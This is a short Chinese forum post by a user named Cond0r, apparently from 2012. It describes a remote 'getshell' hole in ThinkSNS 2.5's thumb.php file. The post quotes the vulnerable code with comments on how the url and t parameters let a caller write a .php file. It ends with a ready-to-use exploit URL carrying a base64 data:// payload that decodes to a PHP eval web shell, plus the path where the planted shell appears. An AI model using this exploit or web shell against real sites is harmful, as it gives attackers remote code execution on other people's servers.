Thinksns 2.5 getshell

2012-06-30 21:47:26 35 5711 6


根目录 thumb.php
看代码
<?php
/*
* 自动缩略图 参数 url|w|h|type="cut/full"|mark="text/image|r"
* thumb.php?url=/thinksns/data/userface/000/00/00/41_middle_face.jpg?1247718988&w=20&h=20
*/
error_reporting(0);
set_time_limit(30);
$biggest_memory_limit        =        256; //单位M,后缀不要加M
//全局定义文件
//require 'define.inc.php';

//临时目录
$tempDir        =        "./data/thumb_temp/";
checkDir($tempDir);

//分析URL
$url = urldecode($_GET['url']);
$url = preg_replace('/(.*)\?(.*)$/','$1',$url);

//XSS脚本攻击探测
//include THINK_PATH.'/Vendor/xss.php';
//DetectXSS($url);

//2009-10-7 修改 将本地图片修改成相对地址,避免file_get_contents不能读取远程文件时出错(可修改php.ini  设置 allow_fopen_url 为 true)
//$url =  str_ireplace(SITE_URL,'.',$url);
if(file_exists($url)){
        $url        =        $url;
}elseif($result        =        GrabImage($url,$tempDir)){
        $url        =        $result;
        $grab_temp_file        =        $result;
}else{
        $url        =        "./public/images/nopic.jpg";
}

//解析参数
$w = $_GET['w']?$_GET['w']:'100';        //宽度
$h = $_GET['h']?$_GET['h']:'100';        //高度
$t = $_GET['t']?$_GET['t']:'c';                //是否切割
$r = $_GET['r']?'1':'0';                        //是否覆盖



//目录名hash
$fileHash        =        md5($url.$w.$h);
$hashPath        =        substr($fileHash,0,2).'/'.substr($fileHash,2,2).'/';//文件名和目录 第一个目录是md5之后的前俩位,第二个目录是3,4位

//缩图目录
$thumbDir        =        "./data/thumb/".$hashPath;
checkDir($thumbDir);

$tempFile        =        $tempDir.$fileHash.'.'.$sourceInfo['type'];
$thumbFile        =        $thumbDir.$fileHash."_".$w."_".$h."_".$t.'.'.$sourceInfo['type']; //文件名的设置,w h t都是可控制的。。 sourceinfo未定义过所以为空 Ps:在windows里 创建1.php.的文件 最后一个.会被忽略。。so 控制t=1.php 即可,windows

$img                =        new Image();
.....

//不存在输出
if(copy($url,$tempFile)){ //复制文件到temp..

        .....
        }

        if($info[0]<=$w && $info[1]<=$h){
                copy($tempFile,$thumbFile); //复制到最终
                $img->showImg($thumbFile,'',$info[0],$info[1]);
                unlink($tempFile);//删除零时
                unlink($grab_temp_file);
                exit;
        }else{
               
?>
exp:xxx.xxxx/thumb.php?url=data://text/plain;base64,PD9waHAgaWYoJF9QT1NUW2NdKXtldmFsKCRfUE9TVFtjXSk7fWVsc2V7cGhwaW5mbygpO30/Pg==&w=&t=.php&r=1
shell:xxx.xxxx/data/thumb/44/ed/44ed1732a7e550e7a8874943fc774bad_100_100_.php
测试。。

关于作者

Cond0r136篇文章1277篇回复

评论35次

要评论?请先  登录  或  注册